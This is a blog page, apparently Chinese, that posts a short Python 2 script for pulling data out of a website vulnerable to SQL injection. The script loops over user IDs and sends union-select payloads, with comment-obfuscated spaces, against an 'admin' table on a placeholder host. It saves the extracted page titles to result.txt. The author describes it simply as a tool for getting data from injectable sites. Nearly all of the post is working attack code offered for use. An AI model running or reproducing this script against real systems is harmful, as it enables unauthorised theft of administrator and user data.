发布时间:2019-08-31 09:40:46编辑:auto阅读(1537)
- #!/usr/bin/python
- # -*- coding:utf-8 -*-
- import urllib2
- import re
- import string
- from sgmllib import SGMLParser
- class getTitle(SGMLParser):
- istitle = 0
- name = []
- def reset(self):
- SGMLParser.reset(self)
- def start_title(self,attrs):
- self.istitle = 1
- def end_title(self):
- self.istitle = 0
- def handle_data(self,data):
- if self.istitle:
- self.name.append(data)
- index=0
- for count in xrange(18680,18690):
- url = "http://www.xxx.com/sqlin.php?id=1/**/and/**/1=1/**/union/**/select/**/*/**/from/**/admin**/where/**/uid="+str(count)+"--"
- req = urllib2.Request(url)
- fd = urllib2.urlopen(req)
- text = fd.read(2048)
- if not len(text):
- print "Nothing be getted..."
- else:
- title = getTitle()
- title.feed(text)
- mark=title.name[index].find('-')
- print title.name[index][:mark]+"has been write into result.txt"
- fi=file("result.txt","a")
- fi.writelines(title.name[index][:mark])
- fi.writelines("\n")
- index+=1
- fi.close()
Pnig0s:This program is used to get data from a website which have a SQLInjection and write them to files.very smiple.
上一篇: python操作mysql
下一篇: python+robot framewo
47882
46450
37336
34773
29348
26011
24961
19980
19583
18076
5821°
6449°
5962°
5988°
7097°
5938°
5981°
6473°
6438°
7818°